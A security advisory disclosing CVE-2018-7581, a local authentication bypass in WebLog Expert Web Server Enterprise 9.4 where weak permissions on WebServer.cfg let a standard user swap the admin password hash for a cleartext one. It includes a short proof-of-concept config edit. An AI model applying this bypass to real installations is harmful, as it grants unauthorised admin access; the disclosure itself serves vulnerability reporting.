WebLog Expert Enterprise 9.4 - Authentication Bypass

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WEBLOG-EXPERT-WEB-SERVER-ENTERPRISE-v9.4-AUTHENTICATION-BYPASS.txt
[+] ISR: Apparition Security          
 

Vendor:
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www.weblogexpert.com


Product:
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WebLog Expert Web Server Enterprise v9.4

WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors:
activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts.



Vulnerability Type:
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Authentication Bypass



CVE Reference:
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CVE-2018-7581



Security Issue:
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The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4
has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin.

A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer"
set to a cleartext password and login as admin.

e.g.

C:\ProgramData\WebLog Expert\WebServer>cacls * | more
C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C         
                                                      BUILTIN\Administrators:(ID)C
                                                      NT AUTHORITY\SYSTEM:(ID)F
                                                      BUILTIN\Administrators:(ID)F


Exploit/POC:
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Login as a 'Standard' Windows user
Comment out the Admin hashed password using ';' then add any cleartext password as follows.

[User:admin]
Password=1234
;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0
bAllProfiles=1

Now login in as Admin! :)



Network Access:
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Local



Severity:
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Medium



Disclosure Timeline:
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Vendor Notification: March 1, 2018
No replies from previous attempts
March 7, 2018 : Public Disclosure



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